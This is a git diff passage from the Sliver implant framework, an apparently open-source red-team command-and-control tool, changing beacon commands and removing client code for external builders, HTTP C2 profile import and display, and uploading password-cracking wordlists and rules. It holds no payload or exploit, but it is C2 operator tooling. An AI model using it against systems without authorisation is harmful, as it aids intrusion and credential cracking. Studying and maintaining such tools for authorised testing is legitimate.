@@ -62,7 +59,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
}
con.PrintWarnf("The following beacons and their tasks will be removed:\n")
for index, beacon := range pruneBeacons {
beacon, err := con.Rpc.GetBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
continue
@@ -78,7 +75,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
}
errCount := 0
for _, beacon := range pruneBeacons {
_, err := con.Rpc.RmBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
errCount++
+4 -5
View File
@@ -19,21 +19,20 @@ package beacons
*/
import (
"github.com/spf13/cobra"
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := SelectBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
_, err = con.Rpc.RmBeacon(grpcCtx, beacon)
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+4 -5
View File
@@ -24,14 +24,13 @@ import (
"strings"
"time"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsWatchCmd - Watch your beacons in real-ish time
func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
done := waitForInput()
defer func() {
con.Printf(console.UpN+console.Clearln+"\r", 1)
@@ -46,7 +45,7 @@ func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
if err != nil {
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
}
tw := renderBeacons(beacons.Beacons, "", nil, con)
tw := renderBeacons(beacons.Beacons, con)
lines := strings.Split(tw.Render(), "\n")
for _, line := range lines {
con.Printf(console.Clearln+"\r%s\n", line)
@@ -58,7 +57,7 @@ func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
}
func waitForInput() <-chan bool {
done := make(chan bool, 1)
done := make(chan bool)
go func() {
defer close(done)
fmt.Scanf("\n")
-72
View File
@@ -1,72 +0,0 @@
package builders
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// BuildersCmd - List external builders
func BuildersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if len(builders.Builders) == 0 {
con.PrintInfof("No external builders connected to server\n")
} else {
PrintBuilders(builders.Builders, con)
}
}
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name", "Operator", "Templates", "Platform", "Compiler Targets",
})
for _, builder := range externalBuilders {
targets := []string{}
for _, target := range builder.Targets {
targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
}
row := table.Row{
builder.Name,
builder.OperatorName,
strings.Join(builder.Templates, ", "),
fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
strings.Join(targets, "\n"),
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
}
-437
View File
@@ -1,437 +0,0 @@
package c2profiles
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"io"
"os"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"golang.org/x/exp/slices"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// C2ProfileCmd list available http profiles
func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
profileName, _ := cmd.Flags().GetString("name")
if profileName == constants.DefaultC2Profile {
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
return
}
if len(httpC2Profiles.Configs) != 1 {
profileName = selectC2Profile(httpC2Profiles.Configs)
}
}
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintC2Profiles(profile, con)
}
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
protocols := []string{constants.HttpStr, constants.HttpsStr}
profileName, _ := cmd.Flags().GetString("name")
if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n")
return
}
filepath, _ := cmd.Flags().GetString("file")
if filepath == "" {
con.PrintErrorf("Missing file path\n")
return
}
overwrite, _ := cmd.Flags().GetBool("overwrite")
// retrieve and unmarshal profile config
jsonFile, err := os.Open(filepath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
byteFile, _ := io.ReadAll(jsonFile)
var config *assets.HTTPC2Config = &assets.HTTPC2Config{}
err = json.Unmarshal(byteFile, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
httpC2ConfigReq := clientpb.HTTPC2ConfigReq{Overwrite: overwrite, C2Config: C2ConfigToProtobuf(profileName, config)}
_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
confirm := false
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
survey.AskOne(prompt, &confirm)
if confirm {
var restartJobReq clientpb.RestartJobReq
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// reload jobs to include new profile
for _, job := range jobs.Active {
if job != nil && slices.Contains(protocols, job.Name) {
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
}
}
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
}
// convert json to protobuf
func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
httpC2UrlParameters := []*clientpb.HTTPC2URLParameter{}
httpC2Headers := []*clientpb.HTTPC2Header{}
pathSegments := []*clientpb.HTTPC2PathSegment{}
// files
for _, poll := range config.ImplantConfig.PollFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 0,
Value: poll,
})
}
for _, session := range config.ImplantConfig.SessionFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.CloseFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 3,
Value: stager,
})
}
// paths
for _, poll := range config.ImplantConfig.PollPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 0,
Value: poll,
})
}
for _, session := range config.ImplantConfig.SessionPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.ClosePaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 3,
Value: stager,
})
}
implantConfig := &clientpb.HTTPC2ImplantConfig{
UserAgent: config.ImplantConfig.UserAgent,
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
MacOSVersion: config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
ExtraURLParameters: httpC2UrlParameters,
Headers: httpC2Headers,
MaxFiles: int32(config.ImplantConfig.MaxFiles),
MinFiles: int32(config.ImplantConfig.MinFiles),
MaxPaths: int32(config.ImplantConfig.MaxPaths),
MinPaths: int32(config.ImplantConfig.MinFiles),
StagerFileExtension: config.ImplantConfig.StagerFileExt,
PollFileExtension: config.ImplantConfig.PollFileExt,
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
SessionFileExtension: config.ImplantConfig.SessionFileExt,
CloseFileExtension: config.ImplantConfig.CloseFileExt,
PathSegments: pathSegments,
}
// Server Config
serverHeaders := []*clientpb.HTTPC2Header{}
for _, serverHeader := range config.ServerConfig.Headers {
for _, method := range serverHeader.Methods {
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
Method: method,
Name: serverHeader.Name,
Value: serverHeader.Value,
Probability: int32(serverHeader.Probability),
})
}
}
serverCookies := []*clientpb.HTTPC2Cookie{}
for _, cookie := range config.ServerConfig.Cookies {
serverCookies = append(serverCookies, &clientpb.HTTPC2Cookie{
Name: cookie,
})
}
serverConfig := &clientpb.HTTPC2ServerConfig{
RandomVersionHeaders: config.ServerConfig.RandomVersionHeaders,
Headers: serverHeaders,
Cookies: serverCookies,
}
return &clientpb.HTTPC2Config{
Name: profileName,
ImplantConfig: implantConfig,
ServerConfig: serverConfig,
}
}
// PrintImplantBuilds - Print the implant builds on the server
func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Parameter",
"Value",
})
// Profile metadata
tw.AppendRow(table.Row{
"Profile Name",
profile.Name,
})
// Server side configuration
var serverHeaders []string
for _, header := range profile.ServerConfig.Headers {
serverHeaders = append(serverHeaders, header.Value)
}
tw.AppendRow(table.Row{
"Server Headers",
strings.Join(serverHeaders[:], ","),
})
var serverCookies []string
for _, cookie := range profile.ServerConfig.Cookies {
serverCookies = append(serverCookies, cookie.Name)
}
tw.AppendRow(table.Row{
"Server Cookies",
strings.Join(serverCookies[:], ","),
})
tw.AppendRow(table.Row{
"Randomize Server Headers",
profile.ServerConfig.RandomVersionHeaders,
})
// Client side configuration
var clientHeaders []string
for _, header := range profile.ImplantConfig.Headers {
clientHeaders = append(clientHeaders, header.Value)
}
tw.AppendRow(table.Row{
"Client Headers",
strings.Join(clientHeaders[:], ","),
})
var clientUrlParams []string
for _, clientUrlParam := range profile.ImplantConfig.ExtraURLParameters {
clientUrlParams = append(clientUrlParams, clientUrlParam.Name)
}
tw.AppendRow(table.Row{
"Extra URL Parameters",
strings.Join(clientUrlParams[:], ","),
})
tw.AppendRow(table.Row{
"User agent",
profile.ImplantConfig.UserAgent,
})
tw.AppendRow(table.Row{
"Chrome base version",
profile.ImplantConfig.ChromeBaseVersion,
})
tw.AppendRow(table.Row{
"MacOS version",
profile.ImplantConfig.MacOSVersion,
})
tw.AppendRow(table.Row{
"Nonce query arg chars",
profile.ImplantConfig.NonceQueryArgChars,
})
tw.AppendRow(table.Row{
"Max files",
profile.ImplantConfig.MaxFiles,
})
tw.AppendRow(table.Row{
"Min files",
profile.ImplantConfig.MinFiles,
})
tw.AppendRow(table.Row{
"Max paths",
profile.ImplantConfig.MaxPaths,
})
tw.AppendRow(table.Row{
"Min paths",
profile.ImplantConfig.MinPaths,
})
tw.AppendRow(table.Row{
"Stager file extension",
profile.ImplantConfig.StagerFileExtension,
})
tw.AppendRow(table.Row{
"Start session file extension",
profile.ImplantConfig.StartSessionFileExtension,
})
tw.AppendRow(table.Row{
"Session file extension",
profile.ImplantConfig.SessionFileExtension,
})
tw.AppendRow(table.Row{
"Poll file extension",
profile.ImplantConfig.PollFileExtension,
})
tw.AppendRow(table.Row{
"Close file extension",
profile.ImplantConfig.CloseFileExtension,
})
var (
pollPaths []string
pollFiles []string
sessionPaths []string
sessionFiles []string
closePaths []string
closeFiles []string
)
for _, segment := range profile.ImplantConfig.PathSegments {
if segment.IsFile {
switch segment.SegmentType {
case 0:
pollFiles = append(pollFiles, segment.Value)
case 1:
sessionFiles = append(sessionFiles, segment.Value)
case 2:
closeFiles = append(closeFiles, segment.Value)
}
} else {
switch segment.SegmentType {
case 0:
pollPaths = append(pollPaths, segment.Value)
case 1:
sessionPaths = append(sessionPaths, segment.Value)
case 2:
closePaths = append(closePaths, segment.Value)
}
}
}
tw.AppendRow(table.Row{
"Poll paths",
strings.Join(pollPaths[:], ","),
})
tw.AppendRow(table.Row{
"Poll files",
strings.Join(pollFiles[:], ","),
})
tw.AppendRow(table.Row{
"Session paths",
strings.Join(sessionPaths[:], ","),
})
tw.AppendRow(table.Row{
"Session files",
strings.Join(sessionFiles[:], ","),
})
tw.AppendRow(table.Row{
"Close paths",
strings.Join(closePaths[:], ","),
})
tw.AppendRow(table.Row{
"Close files",
strings.Join(closeFiles[:], ","),
})
con.Println(tw.Render())
con.Println("\n")
}
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
c2profile := ""
var choices []string
for _, c2profile := range c2profiles {
choices = append(choices, c2profile.Name)
}
prompt := &survey.Select{
Message: "Select a c2 profile",
Options: choices,
}
survey.AskOne(prompt, &c2profile, nil)
return c2profile
}
-78
View File
@@ -1,78 +0,0 @@
package command
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"strings"
"github.com/reeflective/console"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
const defaultTimeout = 60
// Flags is a convenience function to bind flags to a given command.
// name - The name of the flag set (can be empty).
// cmd - The command to which the flags should be bound.
// flags - A function exposing the flag set through which flags are declared.
func Flags(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) {
flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set.
flags(flagSet) // Let the user bind any number of flags to it.
if persistent {
cmd.PersistentFlags().AddFlagSet(flagSet)
} else {
cmd.Flags().AddFlagSet(flagSet)
}
}
// FlagComps is a convenience function for adding completions to a command's flags.
// cmd - The command owning the flags to complete.
// bind - A function exposing a map["flag-name"]carapace.Action.
func FlagComps(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) {
comps := make(carapace.ActionMap)
bind(&comps)
carapace.Gen(cmd).FlagCompletion(comps)
}
// hideCommand generates a cobra annotation map with a single
// console.CommandHiddenFilter key, which value is a comma-separated list
// of filters to use in order to expose/hide commands based on requirements.
// Ex: cmd.Annotations = hideCommand("windows") will hide the cmd
// if the target session/beacon is not a Windows host.
func hideCommand(filters ...string) map[string]string {
if len(filters) == 0 {
return nil
}
if len(filters) == 1 {
return map[string]string{
console.CommandFilterKey: filters[0],
}
}
filts := strings.Join(filters, ",")
return map[string]string{
console.CommandFilterKey: filts,
}
}
File diff suppressed because it is too large. Load diff
-4
View File
@@ -1,4 +0,0 @@
Completers
===========
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
-57
View File
@@ -1,57 +0,0 @@
package completers
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"net"
"github.com/rsteube/carapace"
)
// ClientInterfacesCompleter completes interface addresses on the client host.
func ClientInterfacesCompleter() carapace.Action {
return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
ifaces, err := net.Interfaces()
if err != nil {
return carapace.ActionMessage("failed to get net interfaces: %s", err.Error())
}
results := make([]string, 0)
for _, i := range ifaces {
addrs, err := i.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
switch v := a.(type) {
case *net.IPAddr:
results = append(results, v.IP.String())
case *net.IPNet:
results = append(results, v.IP.String())
default:
results = append(results, v.String())
}
}
}
return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':')
})
}
-505
View File
@@ -1,505 +0,0 @@
package crack
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"crypto/sha256"
"encoding/hex"
"io"
"os"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/klauspost/compress/zstd"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
)
// CrackWordlistsCmd - Manage GPU cracking stations
func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(wordlists.Files) == 0 {
con.PrintInfof("No wordlists, add some using `crack wordlists add`\n")
} else {
PrintCrackFiles(wordlists, con)
con.Println()
con.Printf("Disk quota %02.2f%% - %s of %s\n",
(float64(wordlists.CurrentDiskUsage)/float64(wordlists.MaxDiskUsage))*100,
util.ByteCountBinary(wordlists.CurrentDiskUsage),
util.ByteCountBinary(wordlists.MaxDiskUsage),
)
}
}
// CrackRulesCmd - Manage GPU cracking stations
func CrackRulesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(rules.Files) == 0 {
con.PrintInfof("No rules files, add some using `crack rules add`\n")
} else {
PrintCrackFiles(rules, con)
con.Println()
con.Printf("Disk quota %02.2f%% - %s of %s\n",
(float64(rules.CurrentDiskUsage)/float64(rules.MaxDiskUsage))*100,
util.ByteCountBinary(rules.CurrentDiskUsage),
util.ByteCountBinary(rules.MaxDiskUsage),
)
}
}
// CrackHcstat2Cmd - Manage GPU cracking stations
func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(hcstat2.Files) == 0 {
con.PrintInfof("No hcstat2 files, add some using `crack hcstat2 add`\n")
} else {
PrintCrackFiles(hcstat2, con)
con.Println()
con.Printf("Disk quota %02.2f%% - %s of %s\n",
(float64(hcstat2.CurrentDiskUsage)/float64(hcstat2.MaxDiskUsage))*100,
util.ByteCountBinary(hcstat2.CurrentDiskUsage),
util.ByteCountBinary(hcstat2.MaxDiskUsage),
)
}
}
func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"Name", "Size"})
for _, file := range crackFiles.Files {
tw.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
}
con.Printf("%s\n", tw.Render())
}
func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
wordlistTable := table.NewWriter()
wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
wordlistTable.SetStyle(settings.GetTableStyle(con))
wordlistTable.AppendHeader(table.Row{"Name", "Size"})
rulesTable := table.NewWriter()
rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
rulesTable.SetStyle(settings.GetTableStyle(con))
rulesTable.AppendHeader(table.Row{"Name", "Size"})
hcTable := table.NewWriter()
hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
hcTable.SetStyle(settings.GetTableStyle(con))
hcTable.AppendHeader(table.Row{"Name", "Size"})
wordlists := 0
rules := 0
hc := 0
for _, file := range crackFiles.Files {
switch file.Type {
case clientpb.CrackFileType_WORDLIST:
wordlistTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
wordlists++
case clientpb.CrackFileType_RULES:
rulesTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
rules++
case clientpb.CrackFileType_MARKOV_HCSTAT2:
hcTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
hc++
}
}
if wordlists > 0 {
con.Printf("%s\n", wordlistTable.Render())
}
if rules > 0 {
if wordlists > 0 {
con.Println()
}
con.Printf("%s\n", rulesTable.Render())
}
if hc > 0 {
if wordlists > 0 || rules > 0 {
con.Println()
}
con.Printf("%s\n", hcTable.Render())
}
con.Println()
con.Printf("%d wordlists, %d rules, %d hcstat2 files\n", wordlists, rules, hc)
con.Printf("Disk quota %02.2f%% - %s of %s\n",
(float64(crackFiles.CurrentDiskUsage)/float64(crackFiles.MaxDiskUsage))*100,
util.ByteCountBinary(crackFiles.CurrentDiskUsage),
util.ByteCountBinary(crackFiles.MaxDiskUsage),
)
}
// CrackWordlistsAddCmd - Manage GPU cracking stations
func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name")
var localPath string
if len(args) > 0 {
localPath = args[0]
}
if localPath == "" {
con.PrintErrorf("No path specified, see --help\n")
return
}
wordlistStat, err := os.Stat(localPath)
if os.IsNotExist(err) || wordlistStat.IsDir() {
con.PrintErrorf("File does not exist: %s\n", localPath)
return
}
if name == "" {
name = wordlistStat.Name()
}
wordlist, err := os.Open(localPath)
if err != nil {
con.PrintErrorf("Failed to open file: %s\n", err)
return
}
defer wordlist.Close()
crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
Type: clientpb.CrackFileType_WORDLIST,
Name: name,
UncompressedSize: wordlistStat.Size(),
IsCompressed: true,
})
if err != nil {
con.PrintErrorf("Failed to create file: %s\n", err)
return
}
con.PrintInfof("Adding new wordlist '%s' (uncompressed: %s)\n",
crackFile.Name,
util.ByteCountBinary(crackFile.UncompressedSize),
)
addCrackFile(wordlist, crackFile, con)
}
// CrackRulesAddCmd - add a rules file
func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name")
var localPath string
if len(args) > 0 {
localPath = args[0]
}
if localPath == "" {
con.PrintErrorf("No path specified, see --help\n")
return
}
rulesStat, err := os.Stat(localPath)
if os.IsNotExist(err) || rulesStat.IsDir() {
con.PrintErrorf("File does not exist: %s\n", localPath)
return
}
if name == "" {
name = rulesStat.Name()
}
rules, err := os.Open(localPath)
if err != nil {
con.PrintErrorf("Failed to open file: %s\n", err)
return
}
defer rules.Close()
crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
Type: clientpb.CrackFileType_RULES,
Name: name,
UncompressedSize: rulesStat.Size(),
IsCompressed: true,
})
if err != nil {
con.PrintErrorf("Failed to create file: %s\n", err)
return
}
con.PrintInfof("Adding new rules file '%s' (uncompressed: %s)\n",
crackFile.Name,
util.ByteCountBinary(crackFile.UncompressedSize),
)
addCrackFile(rules, crackFile, con)
}
// CrackHcstat2AddCmd - add a hcstat2 file
func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name")
var localPath string
if len(args) > 0 {
localPath = args[0]
}
if localPath == "" {
con.PrintErrorf("No path specified, see --help\n")
return
}
hcstat2Stat, err := os.Stat(localPath)
if os.IsNotExist(err) || hcstat2Stat.IsDir() {
con.PrintErrorf("File does not exist: %s\n", localPath)
return
}
if name == "" {
name = hcstat2Stat.Name()
}
hcstat2, err := os.Open(localPath)
if err != nil {
con.PrintErrorf("Failed to open file: %s\n", err)
return
}
defer hcstat2.Close()
crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
Type: clientpb.CrackFileType_MARKOV_HCSTAT2,
Name: name,
UncompressedSize: hcstat2Stat.Size(),
IsCompressed: true,
})
if err != nil {
con.PrintErrorf("Failed to create file: %s\n", err)
return
}
con.PrintInfof("Adding new markov hcstat2 file '%s' (uncompressed: %s)\n",
crackFile.Name,
util.ByteCountBinary(crackFile.UncompressedSize),
)
addCrackFile(hcstat2, crackFile, con)
}
func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverConsoleClient) {
digest := sha256.New()
wordlistReader := io.TeeReader(localFile, digest)
chunks := make(chan []byte, 1) // Chunks are in-memory!
var chunkReaderErr error
go func() {
chunkReaderErr = chunkReader(wordlistReader, crackFile.ChunkSize, chunks)
}()
n := uint32(0)
total := int64(0)
errors := []error{}
for chunk := range chunks {
total += int64(len(chunk))
con.PrintInfof("Uploading %s (chunk %d - %s) ...",
util.ByteCountBinary(total),
n,
util.ByteCountBinary(int64(len(chunk))),
)
_, err := con.Rpc.CrackFileChunkUpload(context.Background(), &clientpb.CrackFileChunk{
CrackFileID: crackFile.ID,
N: n,
Data: chunk,
})
n++
if err != nil {
errors = append(errors, err)
continue
}
}
con.Printf(console.Clearln + "\r")
if chunkReaderErr != nil {
con.PrintErrorf("Failed to read file: %s\n", chunkReaderErr)
return
}
if len(errors) > 0 {
for _, err := range errors {
con.PrintErrorf("Failed to upload chunk: %s\n", err)
}
return
}
_, err := con.Rpc.CrackFileComplete(context.Background(), &clientpb.CrackFile{
ID: crackFile.ID,
Sha2_256: hex.EncodeToString(digest.Sum(nil)),
})
if err != nil {
con.PrintErrorf("Failed to complete file upload: %s\n", err)
return
}
con.PrintInfof("Upload completed (compressed: %s)\n", util.ByteCountBinary(total))
}
func chunkReader(wordlistReader io.Reader, chunkSize int64, chunks chan []byte) error {
defer close(chunks)
start := int64(0)
tmpFile, err := os.CreateTemp("", "sliver-wordlist")
if err != nil {
return err
}
defer tmpFile.Close()
compressor, _ := zstd.NewWriter(tmpFile, zstd.WithEncoderLevel(zstd.SpeedBetterCompression))
for {
readBuf := make([]byte, 32*1024*1024) // 32MB
readN, readErr := wordlistReader.Read(readBuf)
if readErr != nil && readErr != io.EOF {
return err
}
if readN != 0 {
_, err := compressor.Write(readBuf[:readN])
if err != nil {
return err
}
compressor.Flush()
tmpFileStat, err := os.Stat(tmpFile.Name())
if err != nil {
return err
}
if tmpFileStat.Size()-start >= chunkSize {
stop := start + chunkSize
chunk, err := readChunkAt(tmpFile, start, chunkSize)
if err != nil {
return err
}
chunks <- chunk
start = stop
}
}
if readErr == io.EOF {
chunk, err := readChunkAt(tmpFile, start, chunkSize)
if err != nil {
return err
}
chunks <- chunk
return nil
}
}
}
func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error) {
chunkBuf := make([]byte, chunkSize)
n, err := tmpFile.ReadAt(chunkBuf, offset)
if err != nil && err != io.EOF {
return nil, err
}
return chunkBuf[:n], nil
}
// CrackWordlistsRmCmd - Manage GPU cracking stations
func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
